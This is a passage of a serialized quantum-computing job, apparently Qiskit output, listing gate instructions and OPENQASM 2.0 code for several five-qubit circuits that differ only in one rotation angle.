[4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1229', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1231', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.3000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1233', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.4000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1235', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', 